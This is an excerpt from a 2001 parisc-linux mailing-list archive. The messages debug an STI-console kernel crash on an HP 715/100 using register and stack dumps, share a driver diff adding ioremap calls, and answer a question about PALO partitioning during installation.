I have a HP 715/100-box with a graphics ad-on card, which is listed as
"Coral SGC Graphics..." when booting linux. (btw Perhaps s.o. can tell
me what kind of add-on card it is. It is a CRX, or s.th else?)

The machine is running the 0.9 release with serial console.

I compiled a recent kernel (2.4.0-pa30) with STIfb and STI-Console
enabled, in order to use the STI-Console on my box. Booting this kernel
results in a kernel crash immediately after reading vmlinux. I capture
it via serial console.
Can somebody have a look at it?

The System.map file can be found on http://www.tu-darmstadt.de/~rscholz
.

Thanks, Ruediger
--------------86E534352468461910BA93C4
Content-Type: text/plain; charset=us-ascii;
 name="minicom.cap-sti"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="minicom.cap-sti"



----------------------------------------------------------------------------
BootRom Version    1.4  
Memory Size:  128 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1994, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.

Starting Auto boot


Loading Initial Program Loader


IPL successfully loaded


Booting
palo ipl 0.92 bame@palinux Thu Jun 14 14:08:59 MDT 2001
0/vmlinux32 2622963 bytes @ 0x48000
Partition Start(MB) End(MB) Id Type
1               1      22   f0 Palo
2              23      64   83 ext2
3              65     194   82 swap
4             195    2046   83 ext2
Kernel: partition 2 file /vmlinux-2.4.0-pa30-sti
ext2 block size 1024
ext2_mount(partition 2) returns 0
ext2_open(/vmlinux-2.4.0-pa30-sti) = 3
ELF32 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 1580896 mediaptr 0x1000
Segment 1 load 00282000 size 227192 mediaptr 0x183000
Segment 2 load 002bc000 size 240416 mediaptr 0x1bb000
Segment 3 load 002f8000 size 8192 mediaptr 0x1f6000
Segment 4 load 0034414c size 79216 mediaptr 0x1f814c
branching to kernel entry point 0x00100000
Set default PSW W bit to 0

GRs

0x00000000
0x00000000
0xF4100000
0x00000001
0xF5000000
0x00000003
0x00000001
0xF0025328
0x0000000D
0xF02FD698
0xF4300000
0x00000000
0x00080BEF
0x00010000
0x00000005
0x00000032
0x00000000
0x00283BAB
0x00000001
0x00000000
0x00000000
0xF0025000
0x00000500
0x0B00007D
0x00000001
0x00000000
0x00283BAB
0x10282010
0x00000001
0xF02FD698
0x002FD8D8
0x005F93E8

CRs

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000000C0
0x0000001E
0x00000000
0x00000000
0x00105800
0xFFFFFFFF
0xD23D5D47
0x00000000
0x005F8944
0xB3202000
0x00000000
0x005F8964
0x00007F00
0x80000000
0x002A1000
0x002A1000
0x1FEBDFFF
0x0900DEEE
0xAAAAAAAA
0xF0002000
0x00000000
0xF00EFFFF

SRs

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

OTHER

0x00000000
0x005F8948
0x20000000
0x9E000004
0x00000000
0x00000000
0x00000000
0x00310000
0x00000000
0x00000000
0x00000000
0xF02FD710
0xFFFBE000
0x00000000
0x00000082
0x2C1048E6
0x3B30E497









--------------86E534352468461910BA93C4--





From - Thu Nov 08 21:18:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crashing with STI-Console
Date: Thu, 21 Jun 2001 20:00:52 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20010621180113.7BDC9482A@dsl2.external.hp.com>
References: <3B323263.11467E62@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620231 21266 80.91.229.3 (22 Nov 2014 01:37:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:11 +0000 (UTC)
To: =?iso-8859-1?q?R=FCdiger=20Scholz?= <rscholz@hrzpub.tu-darmstadt.de>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 12:01:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 7BDC9482A
	for <parisc-linux@parisc-linux.org>; Thu, 21 Jun 2001 12:01:13 -0600 (MDT)
Original-Received: (qmail 21080 invoked by uid 0); 21 Jun 2001 18:01:11 -0000
Original-Received: from pd9040d3c.dip.t-dialin.net (HELO there) (217.4.13.60)
  by mail.gmx.net (mp002-rz3) with SMTP; 21 Jun 2001 18:01:11 -0000
X-Mailer: KMail [version 1.2.3]
In-Reply-To: <3B323263.11467E62@hrzpub.tu-darmstadt.de>
Xref: news.gmane.org gmane.linux.ports.parisc:11397

Hi Rdiger,

If I understand you right you have both, a built-in graphic chip (Artist?) 
and the ad-on-card (Coral). 
Without digging any further into your problem I would assume that your 
crashes come from stifb, which does not support multiple graphic cards 
currently. But that's only an assumption.
Does your machine still crashes if you disable stifb and go with sticon only ?

BTW: Could you please also upload the register-dump of the crash to your site 
too - else I won't be able to inspect your crash any further...

Greetings,
Helge.

On Thursday 21 June 2001 19:44, Rdiger Scholz wrote:
> Hi there!
>
> I have a HP 715/100-box with a graphics ad-on card, which is listed as
> "Coral SGC Graphics..." when booting linux. (btw Perhaps s.o. can tell
> me what kind of add-on card it is. It is a CRX, or s.th else?)
>
> The machine is running the 0.9 release with serial console.
>
> I compiled a recent kernel (2.4.0-pa30) with STIfb and STI-Console
> enabled, in order to use the STI-Console on my box. Booting this kernel
> results in a kernel crash immediately after reading vmlinux. I capture
> it via serial console.
> Can somebody have a look at it?
>
> The System.map file can be found on http://www.tu-darmstadt.de/~rscholz
>  .
>
> Thanks, Ruediger




From - Thu Nov 08 21:18:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crashing with STI-Console
Date: Thu, 21 Jun 2001 21:08:53 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <3B324645.74A3B7B@hrzpub.tu-darmstadt.de>
References: <3B323263.11467E62@hrzpub.tu-darmstadt.de> <200106211801.UAA15910@mailserver2.hrz.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620232 21271 80.91.229.3 (22 Nov 2014 01:37:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:12 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 13:49:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.vi-internet.de (proxy1.vi-internet.de [195.182.114.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 993E9482A
	for <parisc-linux@parisc-linux.org>; Thu, 21 Jun 2001 13:49:13 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de ([62.180.202.143]) by mail.vi-internet.de  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Thu, 21 Jun 2001 21:09:32 +0200
Original-Sender: ruediger@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.4.5-4mdkuser i586)
X-Accept-Language: de, de-DE, en
Xref: news.gmane.org gmane.linux.ports.parisc:11398

Helge Deller schrieb:

> Does your machine still crashes if you disable stifb and go with sticon only ?
>
> BTW: Could you please also upload the register-dump of the crash to your site
> too - else I won't be able to inspect your crash any further...
>
> Greetings,
> Helge.

Hi Helge,

Oops, sorry. I forgot to upload the register-dump. It's now available from
http://www.tu-darmstadt.de/~rscholz, too.

I tried to boot with sticon only but it also crashed. If yo're interested in, I
can post the register-dump and the System.map  of this kernel too...

Greetings,
    Rdiger





From - Thu Nov 08 21:18:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] misc stuff
Date: Thu, 21 Jun 2001 22:50:16 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20010621225016.A10091@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620232 21275 80.91.229.3 (22 Nov 2014 01:37:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:12 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 14:53:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (pD905478C.dip.t-dialin.net [217.5.71.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0FA1482A
	for <parisc-linux@parisc-linux.org>; Thu, 21 Jun 2001 14:52:58 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.9.3/8.9.3) id WAA10836
	for parisc-linux@parisc-linux.org; Thu, 21 Jun 2001 22:50:16 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:11399

Hi,

with the new changes to io.h enabling of HPPA_IOREMAP is really deadly. There
are some ioremap in drivers missing. The diff below gets my 712 up again.
I guess placing the ioremap to sim700.c would be better, wouldn't it ?
And I'm not sure about the size for the ioremap.

Ok, next issue. I've tried the ps2 mouse patch and it's working for me,
so how about commiting it ?

And finally I've tested the harmony driver. I don't know whether /dev/dsp 
should be always little endian, but I had to convert the .wav files to big 
endian before hearing anything usefull. So should /dev/dsp take native
endian or little endian ?

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:18:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crashing with STI-Console
Date: Thu, 21 Jun 2001 23:13:12 +0200
Lines: 258
Approved: news@gmane.org
Message-ID: <3B326367.B1466EDD@hrzpub.tu-darmstadt.de>
References: <3B323263.11467E62@hrzpub.tu-darmstadt.de> <200106211801.UAA15910@mailserver2.hrz.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------C2007446FE2673397ACAB331"
X-Trace: ger.gmane.org 1416620232 21280 80.91.229.3 (22 Nov 2014 01:37:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:12 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 16:17:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.vi-internet.de (proxy1.vi-internet.de [195.182.114.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B317482A
	for <parisc-linux@parisc-linux.org>; Thu, 21 Jun 2001 16:17:12 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de ([62.180.200.143]) by mail.vi-internet.de  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Thu, 21 Jun 2001 23:13:48 +0200
Original-Sender: ruediger@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.4.5-4mdkuser i586)
X-Accept-Language: de, de-DE, en
Xref: news.gmane.org gmane.linux.ports.parisc:11400

Dies ist eine mehrteilige Nachricht im MIME-Format.
--------------C2007446FE2673397ACAB331
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Hi Helge,

I get the freshest kernel (2.4.0-pa35) out of CVS and tried to boot with only
STI-Console enabled. It also crashed, but this time I have captured the full
register dump include the kernel message.

The serial console capture and the System.map -file is available on
http://www.tu-darmstadt.de/~rscholz.

Thanks for your help,
    Rdiger

--------------C2007446FE2673397ACAB331
Content-Type: text/plain; charset=us-ascii;
 name="sti-kernel-crash.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="sti-kernel-crash.txt"



----------------------------------------------------------------------------
BootRom Version    1.4  
Memory Size:  128 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1994, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.

Starting Auto boot


Loading Initial Program Loader


IPL successfully loaded


Booting
palo ipl 0.92 bame@palinux Thu Jun 14 14:08:59 MDT 2001
0/vmlinux32 2622963 bytes @ 0x48000
Partition Start(MB) End(MB) Id Type
1               1      22   f0 Palo
2              23      64   83 ext2
3              65     194   82 swap
4             195    2046   83 ext2
Kernel: partition 2 file /vmlinux-2.4.0-pa35
ext2 block size 1024
ext2_mount(partition 2) returns 0
ext2_open(/vmlinux-2.4.0-pa35) = 3
ELF32 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 1576788 mediaptr 0x1000
Segment 1 load 00282000 size 226848 mediaptr 0x182000
Segment 2 load 002bc000 size 231108 mediaptr 0x1ba000
Segment 3 load 002f8000 size 8192 mediaptr 0x1f3000
Segment 4 load 0033f028 size 78928 mediaptr 0x1f5028
branching to kernel entry point 0x00100000
Set default PSW W bit to 0

GRs

0x00000000
0x00000000
0xF4100000
0x00000001
0xF5000000
0x00000003
0x00000001
0xF0025328
0x0000000D
0xF02FD698
0xF4300000
0x00000000
0x00080BEF
0x00010000
0x00000005
0x00000032
0x00000000
0x00283BAB
0x00000001
0x00000000
0x00000000
0xF0025000
0x00000500
0x0B00007D
0x00000001
0x00000000
0x00283BAB
0x10282010
0x00000001
0xF02FD698
0x002FD8D8
0x005F93E8

CRs

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000000C0
0x0000001E
0x00000000
0x00000000
0x00105800
0xFFFFFFFF
0xD1454F12
0x00000000
0x005F8944
0xB3202000
0x00000000
0x005F8964
0x00007F00
0x80000000
0x002A1000
0x002A1000
0x3FEB9FFF
0x0900DEEE
0xAAAAAAAA
0xF0002000
0x00000000
0xF00EFFFF

SRs

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

OTHER

0x00000000
0x005F8948
0x20000000
0x9E000004
0x00000000
0x00000000
0x00000000
0x00310000
0x00000000
0x00000000
0x00000000
0xF02FD710
0xFFFBE000
0x00000000
0x00000082
0x2C1048E6
0x3B325F1A




Dumping Stack from 002fc000 to 002fd8d8:

Dumping Stack from 1028a000 to 1028a700:
a000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a020 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a040 00000000 00000000 00000000 00296000 00000000 00000000 00000000 00000000
a060 00000000 00000000 00000000 0010c8ac 00000000 00000000 00000000 00000000
a080 00007f00 00000000 f4100000 00000001 f5000000 00000003 00000001 f0025328
a0a0 0000000d f02fd698 f4300000 00000000 00080bef 00010000 00000005 00000032
a0c0 00000000 00283bab 00000001 00000000 00000000 f0025000 00000500 0b00007d
a0e0 00000001 00000000 00283bab 10282010 00000001 f02fd698 002fd8d8 005f93e8
a100 00000082 2c1048e6 3b325f1a 00000000 00000000 00000000 00000000 00000000
a120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a1a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a1c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a1e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a200 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a220 00000000 00000000 005f8944 005f8948 f00effff 00000000 00000000 00000000
a240 00000000 0000001e b3202000 00000000 005f8964 00000000 00000000 00000000
a260 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a280 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a2a0 00000000 00000000 00000000 10106750 00000000 00000000 00000000 00000000
a2c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a2e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a300 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a320 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a340 00000000 00000000 0000001f 0028e000 002a1000 f0012870 00000000 00000000
a360 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a380 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a3a0 00000000 00000000 00000000 1010224c 00000000 00000000 00000000 00000000
a3c0 00000000 00000000 00000001 1028a080 00000000 00000000 00000000 00000000
a3e0 00000000 00000000 00000000 101003b4 00000000 00000000 00000000 00000000
a400 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a420 00000000 00000000 00000000 1010267c 00000000 00000000 00000000 00000000
a440 1024bf40 00000001 1028a080 00000000 00000000 00000000 00000000 f0002840
a460 00310000 00000037 f02fd698 0000000d f0002848 00000000 00000000 00000001
a480 1032d810 00000000 00000000 00000000 00000008 002fd8d8 002fc000 1024c0ec
a4a0 00000000 00000000 00000000 101025cc 00000000 00000000 00000000 00000000
a4c0 0004000e 1032e810 1010267c 002fc000 002fd8d8 1024c000 00000000 f0002848
a4e0 0000000d f02fd698 00000037 00310000 f0002840 00000000 00000000 f02fd710
a500 1028a080 00283bab 00000082 00000000 00000000 f0105800 01c9c380 00000060
a520 00000001 00000001 102973c0 10282010 0000002a 00000000 1028a700 00000000
a540 000d081f 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a560 00000000 00000000 00000000 00000000 00000000 00000000 40800000 00000000
a580 7fffffff 7fffffff 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000
a5a0 00000000 00000000 41800000 00000000 00000010 00000010 00000000 00000000
a5c0 7fffffff 7fffffff 41000000 00000000 40800000 00000000 7fffffff 7fffffff
a5e0 41000000 00000000 7fffffff 7fffffff 40800000 00000000 41000000 00000000
a600 40300000 00000000 40200000 00000000 40200000 00000000 41800000 7fffffff
a620 40000000 00000000 40000000 00000000 40800000 00000000 41000000 00000000
a640 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a660 00000000 00000000 101025d8 101025dc f00effff 00000000 00000000 00000000
a680 00000000 0000001f 0c701093 00000000 002fc008 00000000 00000000 00000000
a6a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a6c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
a6e0 00000000 00000000 00000000 10106750 00000000 00000000 00000000 00000000

Kernel Fault: Code=15 regs=1028a4c0 (Addr=002fc008)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001110
r0-3     00000000 1032e810 1010267c 002fc000
r4-7     002fd8d8 1024c000 00000000 f0002848
r8-11    0000000d f02fd698 00000037 00310000
r12-15   f0002840 00000000 00000000 f02fd710
r16-19   1028a080 00283bab 00000082 00000000
r20-23   00000000 f0105800 01c9c380 00000060
r24-27   00000001 00000001 102973c0 10282010
r28-31   0000002a 00000000 1028a700 00000000
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101025d8 101025dc
 IIR: 0c701093    ISR: 00000000  IOR: 002fc008
 ORIG_R28: 00000000

--------------C2007446FE2673397ACAB331--





From - Thu Nov 08 21:18:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] misc stuff
Date: Fri, 22 Jun 2001 00:14:58 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <20010622001458.A12695@solo.franken.de>
References: <20010621225016.A10091@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620233 21290 80.91.229.3 (22 Nov 2014 01:37:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:13 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 16:17:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (pD905478C.dip.t-dialin.net [217.5.71.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F159482A
	for <parisc-linux@parisc-linux.org>; Thu, 21 Jun 2001 16:17:40 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.9.3/8.9.3) id AAA12846
	for parisc-linux@parisc-linux.org; Fri, 22 Jun 2001 00:14:58 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010621225016.A10091@solo.franken.de>; from tsbogend@alpha.franken.de on Thu, Jun 21, 2001 at 10:50:16PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11401

On Thu, Jun 21, 2001 at 10:50:16PM +0200, Thomas Bogendoerfer wrote:
> with the new changes to io.h enabling of HPPA_IOREMAP is really deadly. There
> are some ioremap in drivers missing. The diff below gets my 712 up again.

oops, forgot the diff.

Thomas.

Index: drivers/gsc/serial.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/gsc/serial.c,v
retrieving revision 1.11
diff -u -r1.11 serial.c
--- drivers/gsc/serial.c	2001/06/14 09:50:22	1.11
+++ drivers/gsc/serial.c	2001/06/21 01:22:48
@@ -66,7 +66,7 @@
 	serial->type = PORT_16550A;
 
 	serial->line = serial_line_nr;
-	serial->iomem_base = (void*) (((unsigned long) d->hpa) + 0x800);
+	serial->iomem_base = (void*)ioremap((((unsigned long) d->hpa) + 0x800),0x80);
 
 	serial->irq = irq; 
 	serial->io_type = SERIAL_IO_MEM;	/* define access method */
Index: drivers/scsi/lasi7xx.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/scsi/lasi7xx.c,v
retrieving revision 1.14
diff -u -r1.14 lasi7xx.c
--- drivers/scsi/lasi7xx.c	2001/03/03 05:07:36	1.14
+++ drivers/scsi/lasi7xx.c	2001/06/21 01:29:02
@@ -88,7 +88,7 @@
 lasi_scsi_callback_700(struct hp_device *d, struct pa_iodc_driver *dri)
 {
 	hosts_used = sim700_init_host(hosts_tptr, 700, 
-			(unsigned long)d->hpa + LASI_SCSI_CORE_OFFSET,
+			ioremap((unsigned long)d->hpa + LASI_SCSI_CORE_OFFSET, 0x100),
 			busdevice_alloc_irq(d), OPT_NCR_LE);
 
 	return (hosts_used == 0);
@@ -98,7 +98,7 @@
 lasi_scsi_callback_710(struct hp_device *d, struct pa_iodc_driver *dri)
 {
 	hosts_used = sim700_init_host(hosts_tptr, 710, 
-			(unsigned long)d->hpa + LASI_SCSI_CORE_OFFSET,
+			ioremap((unsigned long)d->hpa + LASI_SCSI_CORE_OFFSET,0x100),
 			busdevice_alloc_irq(d), 0);
 
 	return (hosts_used == 0);

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:18:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Budriunas <budriuna@cacr.caltech.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Error creating PALO
Date: Thu, 21 Jun 2001 16:43:42 -0700 (PDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.10.10106211604030.8214-100000@lugh.cacr.caltech.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620233 21297 80.91.229.3 (22 Nov 2014 01:37:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 17:43:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailhost.cacr.caltech.edu (mailhost.cacr.caltech.edu [131.215.145.180])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44BE6482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Jun 2001 17:43:44 -0600 (MDT)
Original-Received: from lugh.cacr.caltech.edu (lugh.cacr.caltech.edu [131.215.145.183])
	by mailhost.cacr.caltech.edu (8.9.3/8.9.1) with ESMTP id QAA17693
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Jun 2001 16:43:42 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:11402

During the PALO creation phase of the initial installation, an error
message saying "PALO wasn't able to install. You can still remote boot and
point the root device to the installed system".

The install target is an HP 712/60 with a 2.2GB SCSI-SE disk with three
partitions:

sda1 128MB  linux swap fstype 82
sda2 16 MB linux fstype 83
sda3 2GB linux ext2 fstype 83

My intention is to use sda2 for PALO, and sda3 for everything else. Since
I could not find any means of creating F0 fstype for PALO, is assumed the
install/setup process would do that for me. Is that an incorrect
assumption? If so, what steps do I take to create the F0 fstype to install
PALO?

The source is version 0.9 iso image on bootable CDROM, June 1 release.

Your help is greatly appreciated.

Thanks,

Al


------------------------------------------------------------------
Al Budriunas                            email: budriuna@rsn.hp.com  
Hewlett Packard Co.                     voice: 310-535-2884
Los Angeles, Ca.                        
------------------------------------------------------------------





From - Thu Nov 08 21:18:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Error creating PALO
Date: Thu, 21 Jun 2001 18:07:47 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20010622000747.175BE37D2C@carmen.fc.hp.com>
References: <Pine.SOL.4.10.10106211604030.8214-100000@lugh.cacr.caltech.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620233 21307 80.91.229.3 (22 Nov 2014 01:37:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Al Budriunas <budriuna@cacr.caltech.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 18:05:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC558482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Jun 2001 18:05:00 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id B71902A7; Thu, 21 Jun 2001 20:04:59 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 175BE37D2C; Thu, 21 Jun 2001 18:07:47 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Thu, 21 Jun 2001 16:43:42 PDT."
             <Pine.SOL.4.10.10106211604030.8214-100000@lugh.cacr.caltech.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:11403

Al Budriunas writes...

> The install target is an HP 712/60 with a 2.2GB SCSI-SE disk with three
> partitions:
> 
> sda1 128MB  linux swap fstype 82
> sda2 16 MB linux fstype 83
> sda3 2GB linux ext2 fstype 83
> 
> My intention is to use sda2 for PALO, and sda3 for everything else. Since
> I could not find any means of creating F0 fstype for PALO, is assumed the
> install/setup process would do that for me. Is that an incorrect
> assumption? If so, what steps do I take to create the F0 fstype to install
> PALO?

The partition types are set during the disk partitioning phase of the install 
when running the "cfdisk" tool.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






